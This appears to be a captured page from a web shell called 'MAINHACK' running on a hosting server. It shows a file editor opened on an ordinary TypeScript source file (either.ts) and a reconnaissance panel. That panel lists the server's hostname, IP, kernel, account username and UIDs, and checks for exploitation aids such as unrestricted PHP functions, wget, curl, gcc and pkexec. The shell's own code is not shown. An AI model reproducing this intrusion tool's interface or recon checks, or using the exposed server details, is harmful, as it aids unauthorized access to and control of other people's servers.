[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: either.ts
/** * @since 2.0.0 */ import type * as Either from "../Either.js" import * as Equal from "../Equal.js" import { dual } from "../Function.js" import * as Hash from "../Hash.js" import { format, NodeInspectSymbol, toJSON } from "../Inspectable.js" import type { Option } from "../Option.js" import { hasProperty } from "../Predicate.js" import { EffectPrototype } from "./effectable.js" import * as option from "./option.js" /** * @internal */ export const TypeId: Either.TypeId = Symbol.for("effect/Either") as Either.TypeId const CommonProto = { ...EffectPrototype, [TypeId]: { _R: (_: never) => _ }, [NodeInspectSymbol]<L, R>(this: Either.Either<R, L>) { return this.toJSON() }, toString<L, R>(this: Either.Left<L, R>) { return format(this.toJSON()) } } const RightProto = Object.assign(Object.create(CommonProto), { _tag: "Right", _op: "Right", [Equal.symbol]<L, R>(this: Either.Right<L, R>, that: unknown): boolean { return isEither(that) && isRight(that) && Equal.equals(this.right, that.right) }, [Hash.symbol]<L, R>(this: Either.Right<L, R>) { return Hash.combine(Hash.hash(this._tag))(Hash.hash(this.right)) }, toJSON<L, R>(this: Either.Right<L, R>) { return { _id: "Either", _tag: this._tag, right: toJSON(this.right) } } }) const LeftProto = Object.assign(Object.create(CommonProto), { _tag: "Left", _op: "Left", [Equal.symbol]<L, R>(this: Either.Left<L, R>, that: unknown): boolean { return isEither(that) && isLeft(that) && Equal.equals(this.left, that.left) }, [Hash.symbol]<L, R>(this: Either.Left<L, R>) { return Hash.combine(Hash.hash(this._tag))(Hash.hash(this.left)) }, toJSON<E, A>(this: Either.Left<E, A>) { return { _id: "Either", _tag: this._tag, left: toJSON(this.left) } } }) /** @internal */ export const isEither = (input: unknown): input is Either.Either<unknown, unknown> => hasProperty(input, TypeId) /** @internal */ export const isLeft = <R, L>(ma: Either.Either<R, L>): ma is Either.Left<L, R> => ma._tag === "Left" /** @internal */ export const isRight = <R, L>(ma: Either.Either<R, L>): ma is Either.Right<L, R> => ma._tag === "Right" /** @internal */ export const left = <L>(left: L): Either.Either<never, L> => { const a = Object.create(LeftProto) a.left = left return a } /** @internal */ export const right = <R>(right: R): Either.Either<R> => { const a = Object.create(RightProto) a.right = right return a } /** @internal */ export const getLeft = <R, L>( self: Either.Either<R, L> ): Option<L> => (isRight(self) ? option.none : option.some(self.left)) /** @internal */ export const getRight = <R, L>( self: Either.Either<R, L> ): Option<R> => (isLeft(self) ? option.none : option.some(self.right)) /** @internal */ export const fromOption: { <L>(onNone: () => L): <R>(self: Option<R>) => Either.Either<R, L> <R, L>(self: Option<R>, onNone: () => L): Either.Either<R, L> } = dual( 2, <R, L>(self: Option<R>, onNone: () => L): Either.Either<R, L> => option.isNone(self) ? left(onNone()) : right(self.value) )
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.87 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344